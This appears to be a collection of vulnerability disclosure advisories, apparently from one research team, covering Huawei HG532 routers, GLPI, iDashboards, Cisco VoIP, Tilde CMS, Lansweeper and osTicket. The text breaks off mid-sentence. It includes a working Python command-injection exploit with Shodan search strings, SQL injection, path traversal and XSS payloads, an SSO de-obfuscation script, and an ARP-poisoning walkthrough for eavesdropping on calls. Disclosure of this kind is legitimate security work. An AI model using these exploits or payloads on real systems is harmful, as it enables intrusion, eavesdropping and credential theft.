Huawei HG532, Command Injection

# Authors: Raffaele Forte, Andrea Ferraris
# Product name: Huawei HG532*
# Vendor Homepage: https://www.huawei.com

I. INTRODUCTION

Huawei HG532* are wireless home gateways for home or office ADSL.

The model HG532e is used in Panama by “Cable & Wireless Panama”.
shodan.io dork: “Content-Length: 11881” “no-cache” org:”Cable & Wireless Panama”.

The model HG532s is distributed in Italy since 2012 by Wind-Infostrada and it is still in use.
shodan.io dork: “Content-Length: 10814” “no-cache” org:”Wind”

II. DESCRIPTION

The router is affected by a “Command Injection” vulnerability located in the web-panel allowing an authenticated user to obtain a root access to the system.

The vulnerable function is used to check if a domain/IP is reachable.

Thanks to reverse engineering techniques we were able to identify the snippet of code that performs this action:

[...]
LOAD:00409B58 la $t9, snprintf
LOAD:00409B5C la $a2, aPingSC4VarPing  # "ping %s -c 4 > /var/pingres.txt"
LOAD:00409B64 move $a3, $v0
LOAD:00409B68 li $a1, 0x400
LOAD:00409B6C jalr $t9 ; snprintf      # call snprintf(ping %s..., <cmd>)
LOAD:00409B70 move $a0, $s0
LOAD:00409B74 lw $gp, 0x10($sp)
LOAD:00409B78 nop
LOAD:00409B7C la $t9, system
LOAD:00409B80 nop
LOAD:00409B84 jalr $t9 ; system        # call system with previous snprintf result
LOAD:00409B88 move $a0, $s0
LOAD:00409B8C lw $gp, 0x10($sp)
LOAD:00409B90 move $a0, $s2
LOAD:00409B94 la $t9, ATP_WEB_SendFile
LOAD:00409B98 nop
LOAD:00409B9C jalr $t9 ; ATP_WEB_SendFile
LOAD:00409BA0 move $a1, $s1
[...]

As we can see, the web interface use “system” to execute PING command (LOAD:00409B84) and the command is built from the previous “snprintf” (LOAD:00409B6C) call.

The vulnerability is the lack of input sanitization: the code does not check if the passed string is a valid IP and does not check the presence of dangerous characters.

Usually, the user set an IP/hostname in a web-form and he/she sees the output, but inserting a semicolon (or various injection characters) it is possible to execute others commands.

For example, a legit input may be:

127.0.0.1

A malicious one may be:

127.0.0.1 -c 4; whoami > /var/pingres.txt;#

The first argument “127.0.0.1 -c 4” is to complete the ping command (not strictly necessary). Then, there is a semicolon followed by “whoami”: that is the command that the attacker wants to execute. The “#” allows to ignore the “-c 4 > /var/pingres.txt” which follows the format string placeholder (LOAD:00409B52). Note: it is necessary to redirect output to the file “/var/pingres.txt” in order to obtain a visible command injection, indeed the web application respond with that file (LOAD:00409B9C).

III. PoC – PROOF OF CONCEPT

#!/usr/bin/python
 
import requests
import time
import urllib
import sys
import warnings
import hashlib
import base64

if not sys.warnoptions:
    warnings.simplefilter("ignore")

user = 'user'
## HG532e by Cable & Wireless Panama
## shodan.io dork: "Content-Length: 11881" "no-cache" org:"Cable & Wireless Panama"
password = 'censured'

## HG532s by Wind-Infostrada (Italy)
## shodan.io dork: "Content-Length: 10814" "no-cache" org:"Wind"
#password = 'censured'

password_sha256 = hashlib.sha256(password.encode()).hexdigest()
password_base64 = base64.b64encode(hashlib.sha256(password.encode()).hexdigest())

s = requests.Session()

url = str(sys.argv[1])
cmd = str(sys.argv[2])

payload = urllib.quote_plus(' -c1; '+cmd+' > /var/pingres.txt; #')

data = {'Username':'user','Password':''+password_base64+''}
cookie = {'Language':'en','FirstMenu':'Admin_0','SecondMenu':'Admin_0_0','ThirdMenu':'Admin_0_0_0'}

url_login = url+'/index/login.cgi'

request_login = s.post(url_login, data=data, cookies=cookie, verify=False)

url_diagnose = url+'/html/management/excutecmdfordiagnose.cgi?cmd=127.0.0.1'+payload+'&RequestFile=/html/management/pingstatus.asp'
request_diagnose = s.post(url_diagnose, cookies=cookie, verify=False)

url_logout = url+'/index/logout.cgi'
s.post(url_logout, cookies=cookie)

txt = request_diagnose.text.split('PingResult = "') 

result = txt[1].replace('\\n" + "', '\n')

print'\n'+result.split('";')[0]

IV. BUSINESS IMPACT
This flaw may compromise the integrity of the system and/or expose sensitive information. An attacker is able to obtain a root shell on the device.

V. SYSTEMS AFFECTED
Model: Huawei HG532e
Hardware version: HG532EAM1HG530ERRAMVER.B
Firmware version: V100R001C170B012

Model: Huawei HG532s
Hardware version: HG532SAM1HG530ERRAMVER.B
Firmware version: V100R001C57B011

Most likely all HG532* models are vulnerable.

VI. VULNERABILITY HISTORY
December 10th, 2018: Vendor notification

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

GLPI 9.2.1, Multiple Vulnerabilities

# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: http://glpi-project.org
# Version: 9.2.1 and earlier

I. INTRODUCTION
GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a database with basic information about your network-topology.

II. DESCRIPTION
The web application suffers from multiple vulnerabilities.

1. Remote code execution (CVE-2018-7562)

The application allows an authenticated user to upload file when he/she creates new ticket. This feature is protected using different type of security features like the check on the file’s extension.

Auditing the source code we are able to identify one issue that allows the remote code execution: as we can see in the snippet below, the application uploads and creates a file, though this file is not allowed, and then deletes the file.

[...]
// Unlink file
$val->error = __('Filetype not allowed');
if (file_exists($upload_dir.$val->name)) {
    unlink($upload_dir.$val->name);
}
[...]

This snippet is from the latest version of GLPI (9.2.1) in the file “inc/glpiuploaderhandler.class.php” (method uploadFiles).

All the previous version are affected by the same vulnerability (though the source file is different).

Using this particular behaviour, an attacker is able to trigger a race condition between the “unlink” procedure and getting the file.

Below are the macro-phases of the attack:
1. Login to application and obtain a valid session ID
2. Create two parallels threads.
3. One thread should loop over upload method and try to upload, for example, a php file
4. The other thread should loop trying to retrieve the file, e.g. recalling, with GET method, “/files/_tmp/
5. Check if the return status is 200 and, in that case, terminate the exploit.

Exploitability

The exploitability of this vulnerability encounters a pratical problem: indeed, even if we are able to retrieve the file BEFORE the unlink procedure, the application deletes the file in a very short time. So we would not be able to get a stable shell and a backdoor in the system.

In order to bypass this limitation we can create a PHP files that drops another PHP file (the real backdoor). This way, the second file should not be deleted by the application.

In the latest version of GLPI this vulnerability is mitigated by the fact that the filename is random-like.

[...]
$pname = $params['name'];
$rand_name = uniqid('', true);
foreach ($_FILES[$pname]['name'] as &$name) {
    $name = $rand_name . $name;
}
[...]

As we can see in the snippet above, the application attaches at the filename a “random prefix”. This way, the probability of retrieving the file without filename is pretty low.

In any case, we consider this behaviour as a vulnerability because:

  1. Looping over the upload method allows to see the file really exists.
  2. PHP manual says about uniqid function: “This function does not create random nor unpredictable strings. This function must not be used for security purposes. Use a cryptographically secure random function/generator and cryptographically secure hash functions to create unpredictable secure IDs.”

With these two considerations we suggest to fix this vulnerability in the latest version too.

Moreover, we are able to create a PoC also on the latest version without the “more entropy” flag.

From 9.1 version and below, this vulnerability can be easily exploited because the filename is well known (set by the attacker).

We have created an exploit that allows to spawn a shell for the previous versions:

https://github.com/bowline90/RemoteCodeUploadGLPI

2. Cross Site Scripting (CVE-2018-7562)

The application is affected by XSS Vulnerability. An attacker is able to create a malicious URL that if it will be opened by an authenticated user with debug privilege, then the client will execute JavaScript code supplied by the attacker.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.

PoC:

<URL>/front/preference.php?test%3d%22%3e%3Cscript%3Ealert(1)%3C/script%3E

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information. A skilled attacker is able to obtain a shell on the remote server.

V. SYSTEMS AFFECTED
GLPI v9.2.1 is vulnerable and all previous versions.

VI. VULNERABILITY HISTORY
February 19th, 2018: Vulnerability identification
February 28th, 2018: Vendor notification
February 28th 2018: CVE-ID reserved
March 1st, 2018: XSS fix (https://github.com/glpi-project/glpi/pull/3647)

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

iDashboards 9.6b, Multiple Vulnerabilities

# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: https://www.idashboards.com/
# Version: 9.6b and earlier

I. INTRODUCTION
iDashboard is a closed-source system that allows to visualize data in form of graph.

II. DESCRIPTION
The web application suffers from multiple vulnerabilities.

1. Sensitive Data Exposure

Using specific paths an unauthenticated user can obtain various information about the system.

a. Configuration Disclosure (CVE-2018-7209)

Using this URL “https://<url>/idashboards/config.xml” it is possible to obtain information such as version, url, etc.:

[...]
<serverURL>/idashboards/idb?CMD=$C$</serverURL>
<dashReportURL>/idashboards/idb/reports/prep/d/$DASH_ID$/$FORMAT$/$INLINE$/</dashReportURL>
<chartReportURL>/idashboards/idb/reports/prep/c/$CHART_ID$-$DASH_ID$/$FORMAT$/$INLINE$/</chartReportURL>
<serverRoot>/idashboards/</serverRoot>
[...]
<version>9.6b</version>
<productID>9.6b-181217101653-160.45</productID>
<companyName>XXX snc | XXX </companyName>
[...]
<adminUrl>http://XXXXXXX:6700/idashboards/admin/</adminUrl>
[...]

b. License information disclosure (CVE-2018-7210)

In order to install the license in the application, the administrator should go to “https://<url>/idb/config?CMD=installLicense”.

If the license is already applied, this page is reachable from unauthenticated user. In this case, an attacker can obtain information about the system (type of license, internal IP address, ecc.) and guest accounts (if present):

Licensed to: XXX snc
License expires: Never
Licensed CPUs: Unlimited
Number of named users: 51
Number of concurrent users: 51
Guest users: guest
Licensed IP Addresses: 10.1.1.7
Licensed Domain(s): 
Server Name: XXXDASHBOARDS
Server IP Address: 10.1.1.7
Server CPUs: 8
License type: XXX-XX-XXXX

2. Reverse engineering of SSO obfuscation (CVE-2018-7211)

As AdminManual said the SSO obfuscation is weak:

The iDashboards obfuscation library uses a proprietary, weak two-way encryption algorithm to obfuscate text. It is possible that a resourceful attacker could reverse-engineer the algorithm and use it to obfuscate SSO login URLs, or decode obfuscated ones. Moreover, anyone with access to the idb_encrypt.jar file or idb_encrypt.dll, and the proper knowledge, could use it to obfuscate SSO login URLs.

It is possible to reverse engineering the algorithm as we can see in the PoC below:

[PoC_iDashboard.py]

import sys

def encrypt(string):
    i=0
    out=""
    for c in string:
        power=pow(2,i)
        if power == 256:
            i=0
            power=pow(2,i)
        i+=1
        val=ord(c)
        k=val // power
        if k % 2 == 0:
            val+=power
        else:
            val-=power
        out+=str(hex(val)).replace('0x','')
        #print "Power:"+str(power)+" - Before:"+str(hex(ord(c)))+" - After:"+str(hex(val))
    return out
    
def decrypt(string):
    i=0
    k=0
    array=[]    
    l=len(string)-1
    while k < l:
        array.append(int(string[k:k+2],16))    
        k+=2
    out=""
    for c in array:
        power=pow(2,i)
        if power == 256:
            i=0
            power=pow(2,i)
        i+=1
        val=c
        k=val // power
        if k % 2 == 0:
            val+=power
        else:
            val-=power
        out+=chr(val)
        #print "Power:"+str(power)+" - Before:"+str(hex(c))+" - After:"+str(hex(val))+ " - Char:"+chr(val)
    return out

def main(args):
    if len(args)<3:
        print "Usage: "+args[0]+ "  " +" string"
        return
    if args[1] == 'd':
        o=decrypt(args[2])
    elif args[1] == 'e':
        o=encrypt(args[2])
    print o

if __name__=='__main__':
    main(sys.argv)

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.
Moreover, SSO reverse engineer allows to obtain user and password with a MiTM position.

V. SYSTEMS AFFECTED
iDashboard v9.6b is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
January 30th, 2018: Vulnerability identification
February 16th, 2018: Vendor notification
February 18th, 2018: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

VoIP Cisco System, Security Analysis

# Authors: Ferraris Andrea, Priori Gaetano, Forte Raffaele
# Vendor Homepage: http://www.cisco.com
# Version: Cisco CM Administrator v10.5.2.10000-5

 

I. INTRODUCTION

Nowadays, the use of VoIP technology is spreading in every business. Voice Over IP allows to carry voice calls over the company network and enables to connect offices across the without any additional cost.

In this article we present a security analysis of Cisco VoIP system; specifically, about how to intercept phone calls, obtain administrative credentials, access the phones and retrieve full VoIP network topology. Our research includes Cisco CM Administrator (version 10.5.2.10000-5) and Cisco UC Phones.

 

II. DESCRIPTION

Standards for securing VoIP are available in the Secure Real-time Transport Protocol (SRTP) and the ZRTP protocol for analog telephony adapters as well as for some softphones. IPsec is available to secure point-to-point VoIP at the transport level by using opportunistic encryption.

From a security point of view, since VoIP uses IP network, the tools and methodologies commonly known and used in security analysis can be applied. In our analysis we are going to encounter SIP as VoIP implementation.

The following sections are divided as follows:

  • Section III – we will present how to setup the attacker PC. In this phase we are able to obtain VLAN identification and perform a passive network sniffing.
  • Section IV – we will describe how it can be possible to intercept local calls.
  • Section V – we will present an information leakage vulnerability that allows to obtain administrator credentials and network topology. We also develop a script to exploit that vulnerability.
  • Section VI – conclusion and future projects.

 

III. NETWORK ANALYSIS AND SETUP

For the whole testing phase we used BackBox Linux connected through Ethernet cable to the enterprise LAN.

First, we started with a network passive sniffing but we does not find any clues or VoIP packages. In the most companies, the VoIP network is separated by “normal” traffic using different VLAN (Virtual LAN) according to IEEE 802.1q standard. Peraphs, if we switch VLAN, we can sniff VoIP traffic.

In order to “change” VLAN and be albe to sniff traffic, it is necessary to load a kernel module using command

$ sudo modprobe 8021q

After loading this new module, we perform another passive sniffing. This time, we are able to see more traffic than before; in particular we obtain CDP packets.

Cisco Discovery Protocol is a proprietary data link layer developped by Cisco and it is used by Cisco equipments to share various informations. Cisco devices send, in multicast 01:00:0C:CC:CC:CC, a CDP packet with various information include OS type, service protocol, VTP type and VLAN source. Usually a CDP packet is sent every 60 seconds, but it can take longer.

In our case the VLAN for VoIP traffic is 50. This information allows to save time but if there is not this packet, a security researcher can brute force every VLAN because there are only 65535 possible VLAN tag. A particular tool usefull in this kind of analysis is Voip Hopper.

Using vconfig we are able to create a pseudo-interface to communicate in VLAN 50, as we can see below

$ sudo vconfing add eth0 50

Now, we can sniff traffic on that pseudo-interface: this capture presents a lot of ARP request but MAC address is Cisco, so we are probably inside the VoIP network. In order to avoid malfunction in the network, we attack only our office phone; for this reason, we need to identify the IP address of the target phone. Obviously, a real attacker does not perform this step but he can try different MAC address.

To obtain the IP address of our phone, we first check the MAC address printed near the serial number behind the phone, then we unplug the cable. After few minutes, we re-plug the telephone and try to intercept DHCP request/response from our MAC address. DHCP response give us the IP address and another fundamental information: the IP address of the gateway .

The phone first try to connect to network using IPv6 protocol. After, it try to obtain IPv4 using DHCP. If there is not a IPv6 network present in the organization, an attacker could spoof router and respond to the request.

If the organization does not use IPv6, the phone should be configured without using IPv6 (default configuration) and only IPv4.

In summary, now we known:

  • VLAN tag of VoIP network
  • IP address of target phone
  • IP address of SIP server (gateway)
  • The network use DHCP

Thanks to DHCP we now can try to obtain a valid address in order to contact the SIP server done with the command listed below.

$ sudo dhclient eth0.50

If everything go well now we have an IP address an we can try to attack the SIP server. A complete scan with Nmap showed many ports open, including the TCP 6970 and 69.

 

IV. ATTACKING VOIP NETWORK

Now, we have access to the network and we can communicate with SIP server and phone. The next step is to sniff traffic between phone and server.

To achieve this Man-in-the-Middle we used an ARP posioning attack this kind of technique uses in “malicious” way the ARP protocol. Address Resolution Protocol is a protocol that allow to obtain MAC address from an IP address.

ARP poisoning attack sends to the victim an ARP packet (called “gratuitous ARP”) where it says that the MAC address of the gateway is the attacker address. This way, all the traffic directed to the gateway is sent to our machine but we need one step more: we want to eavesdrop the gateway response too. To achieve this, we send another ARP packet to gateway where it says that the MAC address of the phone is attacker address. Now, every packets exchange from phone to gateway pass though our machine.

We use Ettercap to perform ARP poisoning but other tools are available too (or scripting with Scapy). Now we can sniff the local traffic.

Using Ettercap from terminal:

$ ettercap -TqM -i eth0.50 arp:remote /phone// /gateway//

Now, we want to see the traffic exchanged when a call is performed. To obtain this data we use our “poisoned” phone to call another telephone. As we can see below the call follow this step:

  • The phone send a 101 Request Invite to the gateway. This packet contains the information about the source phone and destination phone.
  • The server send back a status information 100 Trying to inform the caller phone that the communication needs to be esatblished.
  • The server send another status information 180 Ringing to inform the caller phone that the other phone is “Ringing”. This way the caller phone can beep until hang up.
  • When the callee hang up, the server send back to the caller phone 200 OK packet.
  • The traffic exchanged between the two phones is “invisible” ergo the RTP traffic does not reach our machine.

It seems the “real call” does not pass through gateway but it’s likely that the real “data voice” is exchanged direct through the two phone. In order to evaesedrop the RTP packet we perform another ARP poisoning between the caller and callee telephone. Again, we use Ettercap to poison the callee ARP cache and repeat the same step before.

Now we have capture RTP packet. The real communication, indeed, is performed by the two telephone directly without the gateway redirects the data between the two phones.

The RTP data is not encrypted, and all the data is routed using the poisoned ARP table, making ARP poisoning still a valid attack. By saving the capture file (in our test we use Wireshark to intercept traffic) we are able to retrieve the voice data try to decode it. Wireshark helps us to identify the codec used in the commmunication. To decode this data we need to export RTP payload and, using the right codec, transform into an audible format. It’s important to notice that the data are raw, so we need to create a right file in order to open with normal player.After decoding the traffic we are able to listen all the call .

The point of this attack is not to demonstrate new Cisco vulnerability but is to illustrate how the same technique and tools used in network assestment can be used against non-traditional platform. In this case, our attack vector is use ARP poisoning, an ancient technique that demonstrate once again its power. Moreover, default configuration of the system does not activate any type of encryption: this way, a real attacker (or disappointed employee) can easily evaesdrop all phone call made and, maybe, he use this data to ransom someone.

This attack has a critical impact and the “exploitable level” is easy/medium: everyone with a bit of penetration testing skills can listen all phone calls.

 

V. GATEWAY HTTP ATTACK

Our research is continued in the “registration” phase. In this step we want to intercept and see how a phone make initial registration against SIP server.

Again, we use ARP poisoning to intercept all the traffic between phone and SIP server, but, now, we have a new problem: ARP poisoning attack works only when the system is already running.

We can follow various way in order to avoid this problem:

  • Send continuous ARP packet until the phone it is able to read one.
  • Trying to concourre against the real server in ARP response
  • Send an ARP packet as soon as the phone can read it but before it ask the MAC address in order to capture all the traffic.

We choose the last way. As we have already seen, the Cisco phone first try to use IPv6 address and only after that try DHCP. With a simple Python script we are able to sniff the network and as soon as we intercept a IPv6 packet, we can start our poisoning attack.

This way, we are able to evaesdrop all the registration phase from phone and gateway.

First of all the phones try to obtain various configuration file using TFTP: Trivial File Transfer Protocol allow light client to obtain file, like FTP, but using UDP (port 69). The phone asks to server a particular file named SEPC80084XXXXXX.cnf.xml.sgn. We put XXXXXX for anonymity purpose because the real file name is the mac address of the phone. This files seems to have a standard name: SEP+PHONE_MAC_ADDRESS.cnf.xml.sgn.

With this information we can asks to TFTP server file with that file name trying different MAC. Obviously, brute forcing 6 bytes is not easy but the first three is fixed (OUI Cisco) so we only need to try the other three. After that, we perform a little search for this vulnerability and we found an old vulnerability on Exploit DB where a gateway is enumerated on its TFTP port to find configuration files for each phone.

This files contains various configuration information about the phone as we can see in figure include the IP address and the name on the phone.

We want to see what the phone do if the TFTP server does not responde: we repeat the same attack as before but, this time, we trunk every TFTP packet. We expect this attack cause DoS on the phone because it can not obtain its configuration file.

Contrarly as we expected, after few packets the phone tries to obtain these files using HTTP protocol directly to port 6970. This way, also if the well known vulnerability before is fixed, an attacker can obtain the same information using a different service. Moreover, the communication is in plain text (HTTP) and can be easily read by the attacker.

Now we can enumerate all phone connected to the network. On GitHub we can see the python script we use in order to retrieve all configuration files.

During analysis of this file, we found that are present a XML tag named <sshUserId> and <sshPassword>. This fields are empty in the majority of files but we are able to find few files where this fields contains valid credentials.

Another interesting reference is to the file SPDefault.cnf.xml where other useful information is stored. Here we can find where the Unified CM is present. Using the credentials previously collected we can access the administration panel, where we can control phone calls, remote conferences and all activies concerning VoIP traffic. We can delete and create user account and change Call ID too.

We don’t know if this credentials is the same because the system administrator is “lazy” (often people are lazy) or because that password must be the same in order to work and we don’t know why that fields are empty in some files too. For now, we can only say that credentials are used to access in remote to the telephone.

Again, the point to this attack is to highlight how tools and methodologies used in “normal” pen test can be used against non-traditional platform. In this particular case we are able to obtain access to main panel of the Unified CM so the risk of this attack is very high and the technique used are pretty simple.

 

VI. CONCLUSION

Even if the previous vulnerability is de facto patched in TFTP the vulnerability is still present, even in a worse configuration, in HTTP.

Cisco declined the first vulnerability disclosure as a misconfiguration, but leaking admin credentials by default should still be considered as a serious threat to an organization security.

In order to prevent this kind of information leakege you should encrypt all the communications between the Cisco Unified Communications Manager and the phones and add remote authentication on the gateway as explained in the Cisco Security Center.

After this error are fixed, we will continue our research against VoIP network because we think that in the future this technology replace the old telephony technology. The security and privacy is a “must have” and our goal is to find this security flaws before bad guys. Keep calm and Hack the Planet!

Tilde CMS v1.01, Multiple Vulnerabilities

# Authors: Paolo Forte, Raffaele Forte
# Vendor Homepage: http://www.tildenetwork.com
# Version: Tilde CMS v1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10

I. INTRODUCTION
Tilde CMS is closed-source content management system created by tildenetwork.com

II. DESCRIPTION
The web application suffers of multiple vulnerabilities.

1. SQL Injection (CVE-2017-11324)

Due to missing escaping of the backtick character, the following query in the source code is vulnerable:

[class.SystemAction.php]

$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the following PoC:

POST /actionphp/action.input.php HTTP/1.1
ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:

SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table “form_table_1” must be valid.

2. Path Traversal (CVE-2017-11325)

The vulnerabilty exists on this method:

GET /actionphp/download.File.php?&file=../../../../../../etc/passwd

3. Arbitrary Files Upload (CVE-2017-11326)

It is possible to bypass the implemented restrictions shown in the following snippet of the code:

$file=$_FILES['file'.$i]['tmp_name'];
if (($file!="")&&($file!="none")) {
    $source_file=$file;
    $file_name=$_FILES['file'.$i]['name'];
    $file_name=str_replace(".php",".txt",$file_name);
    $file_name=str_replace(" ","_",$file_name);
    $file_name=str_replace("+","",$file_name);

A file named “filename.+php” will be renamed in “filename.php”, therefore successfully uploaded.

4. Insecure Direct Object References (CVE-2017-11327)

It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as:

    admin/content.php
    admin/content.php?method=ftp_upload

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.

V. SYSTEMS AFFECTED
Tilde CMS v1.01 is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

Lansweeper v6.0.0.63, XSS Vulnerability

# Discovered by: Giovanni Cerrato, Giovanni Guido (BackBox Team)
# Vendor Homepage: https://www.lansweeper.com/
# Version: Lansweeper 6.0.0.63

 

I. INTRODUCTION

Lansweeper an Asset Management and Network Inventory Tool (v6.0.0.63 and probably all previous versions) is affected by a XSS vulnerability.

 

II. DESCRIPTION

The application is affected by Cross Site Scripting vulnerabilities.

An attacker can use this vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user’s browser in the context of that user’s session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes. Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

The vulnerable function seems doesn’t require authentication to be executed.

  • URL: hostname/GlobalActions.aspx?action=getthumbnail
  • Vulnerable parameters: username, userdomain, upn
  • Method: POST

 

III. PROOF OF CONCEPT

The vulnerability can be trigged via a POST request as shown in the following PoC’s.

Payload username parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=<script>alert(1)</script>&userdomain=&upn=

Payload userdomain parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=<script>alert(1)</script>&upn=

Payload upn parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=&upn=<script>alert(1)</script>

 

IV. BUSINESS IMPACT

An attacker could perform a wide variety of actions such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.

 

V. SYSTEMS AFFECTED

Version 6.0.0.63 is vulnerable (probably all previous versions).

 

VI. REFERENCES

https://www.lansweeper.com/changelog.aspx BUG: #542782
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9292

 

VII. CREDITS

The vulnerability has been discovered by the BackBox Team:

Giovanni Cerrato, giovanni(dot)cerrato(at)aizoon(dot)it
Giovanni Guido, giovanni(dot)guido(at)aizoon(dot)it

 

VIII. ADVISORY TIMELINE

April 21th, 2017: Vulnerability identification
April 21th, 2017: First contact with vendor
April 26th, 2017: Vendor notified
April 26th, 2017: Vendor response; investigating
May 2th, 2017: Vendor says that the vulnerability will be fixed in the new version
May 11th, 2017: Vulnerabilty fixed (Bug 542782)
May 23th, 2017: CVE Requested
May 29th, 2017: CVE received – “CVE-2017-9292”

 

IX. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

osTicket v1.9.12, Multiple Vulnerabilities

# Authors: Giovanni Cerrato, Enrico Cinquini
# Vendor Homepage: http://osticket.com/
# Version: osTicket v.1.9.12

 

I. INTRODUCTION

Last version of osTicket (v1.9.12) is affected by multiple vulnerabilities.

 

II. DESCRIPTION

The web application suffers of multiple vulnerabilities.

1. Upload HTML file

It is possible to upload files attached to a ticket at URL:
https://hostname/upload/open.php

There are some controls to block not allowed file (e.g php,html) but they are only client-side and not server-side so they can be easily bypassed using tool like Burp suite.They will be uploaded and reachable at specific URL like the following example:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability could be used for example to perform XSS attack or to upload a fake login page.

2. Missing funcition level access control

It is possible to access to some contents of the web application without authentication. It is allowed to view all ticket attachment only by calling their URLs like following:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability combined with unrestricted HTML upload can be used to realize phishing and/or XSS attack via email. To achieve this tasks anyone needs to upload an HTML file containing malicious Javascript or phishing page and then spread the associated URL.

3. Stored Cross Site Scripting

The application is vulnerable to some stored XSS attack.

URL: https://hostname/scp/users.php
Functionality: Add User
Form parameter affected: Internal Notes

URL: https://hostname/scp/orgs.php
Functionality: Add Organization
Form parameter affected: Name, Internal Notes

URL https://hostname/scp/categories.php
Functionality: Add New Category
Form parameter affected: Category Description, Internal Notes

URL https://hostname/scp/departments.php
Functionality: Add New Department
Form parameter affected: Department Signature

URL: https://hostname/scp/teams.php
Functionality: Add New Team
Form parameter affected: Admin Notes, Name

URL: https://hostname/scp/groups.php
Functionality: Add New Group
Form parameter affected: Admin Notes

URL: https://hostname/scp/banlist.php
Functionality: Ban New Email
Form parameter affected: Admin Notes

URL: https://hostname/scp/profile.php
Functionality: Edit profile
Form parameter affected: Signature

A proof of concept can be obtained using the following Javascript code:
<IFRAME onload=alert(1);></IFRAME>

4. Session fixation

The application does not regenerate session id cookie (OSTSESESSID) after authentication so it is prone to session fixation attack. This vulnerability can be used to hijack a valid user session.

 

III. BUSINESS IMPACT

An attacker could upload malicious file, hijack a valid user session, perform XSS or phishing attacks and access to sensible information.

 

IV. SYSTEMS AFFECTED

Version 1.9.12 is vulnerable.

 

V. SOLUTION

It’s necessary to:

  • implement a strong upload filter to prevent the upload of malicious file
  • implement an input validation mechanism to avoid being vulnerable to XSS injection
  • review and correct access control to prevent that unauthenticated users can access to sensible documents

 

VI. ADVISORY TIMELINE

November 10th, 2015: Vulnerability identification
November 17th, 2015: First contact with vendor
November 19th, 2015: Vendor notified
November 25th, 2015: Asking for status update
November 30th, 2015: Vendor response; investigating
December 16th, 2015: Asking for status update
December 18th, 2015: Vendor says that the vulnerabilities will be fixed in the new version
January 11th, 2016: Provided more details to vendor
January 25th, 2016: Asking for status update
February 02th, 2016: Advised vendor public disclosure date will be February 04th
February 02th, 2016: Vendor provides status update(still investigating)
February 04th, 2016: Public disclosure

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

GLPI v0.85.5, RCE through file upload filter bypass

# Author: Raffaele Forte
# Vendor Homepage: http://www.glpi-project.org/
# Software Link: https://forge.glpi-project.org/attachments/download/2093/glpi-0.85.5.tar.gz
# Version: GLPI v0.85.5
# Tested on: CentOS release 6.7 (Final), PHP 5.3.3

 

I. INTRODUCTION

GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a
database with basic information about your network-topology.

 

II. DESCRIPTION

The application allows users to upgrade their own profile. The user has the possibility to add a new photo as attachment.

The photo that he uploads will be stored into “GLPI_ROOT/files/_pictures/”.

This file, for example named “photo.jpeg”, will be directly accessible through “http://host/GLPI_ROOT/files/_pictures/XXXX.jpeg”, where “XXXX” is an ID automatically generated by the system and visible in the HTML
source code.

Besides, the server does not check the extension of the uploaded file, but only the first bytes within it, that indicates which kind of file is.

Exploiting this flaw, an attacker may upload a tampered jpeg file that contains php code placed at the end of the file, so that, just changing the file extention to “.php”, by default the php code will be interpreted!

To trigger this vulnerability it is necessary to have an account.

This vulnerability is a combination of two issues:

